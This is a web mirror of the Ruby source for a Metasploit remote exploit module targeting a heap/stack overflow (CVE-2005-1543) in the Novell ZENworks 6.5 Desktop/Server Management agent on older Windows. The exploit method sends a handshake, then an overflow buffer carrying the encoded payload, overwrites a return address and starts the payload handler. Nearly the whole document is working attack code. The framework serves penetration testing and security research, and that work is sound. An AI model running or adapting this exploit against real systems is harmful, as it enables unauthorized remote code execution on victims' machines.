CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/novell/zenworks_desktop_agent.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
14
'Description' => %q{
15
This module exploits a heap overflow in the Novell ZENworks
16
Desktop Management agent. This vulnerability was discovered
17
by Alex Wheeler.
18
},
19
'Author' => [ 'Unknown' ],
20
'License' => BSD_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2005-1543'],
24
[ 'OSVDB', '16698'],
25
[ 'BID', '13678'],
26
27
],
28
'Privileged' => true,
29
'Payload' =>
30
{
31
'Space' => 32767,
32
'BadChars' => "\x00",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => %w{ win },
36
'Targets' =>
37
[
38
[
39
'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
40
{
41
'Platform' => 'win',
42
'Ret' => 0x10002e06,
43
},
44
],
45
],
46
'DisclosureDate' => '2005-05-19',
47
'DefaultTarget' => 0))
48
end
49
50
def exploit
51
connect
52
53
hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
54
print_status("Sending version identification")
55
sock.put(hello)
56
57
pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
58
ident = sock.get_once
59
if !(ident and ident.length == 16)
60
print_error("Failed to receive agent version identification")
61
return
62
end
63
64
print_status("Received agent version identification")
65
print_status("Sending client acknowledgement")
66
sock.put("\x00\x01")
67
68
# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
69
sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
70
71
ack = sock.get_once
72
sock.put("\x00\x01")
73
sock.put("\x00\x02")
74
75
print_status("Sending final payload")
76
sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
77
78
print_status("Overflow request sent, sleeping for four seconds")
79
select(nil,nil,nil,4)
80
81
handler
82
disconnect
83
end
84
end
85
86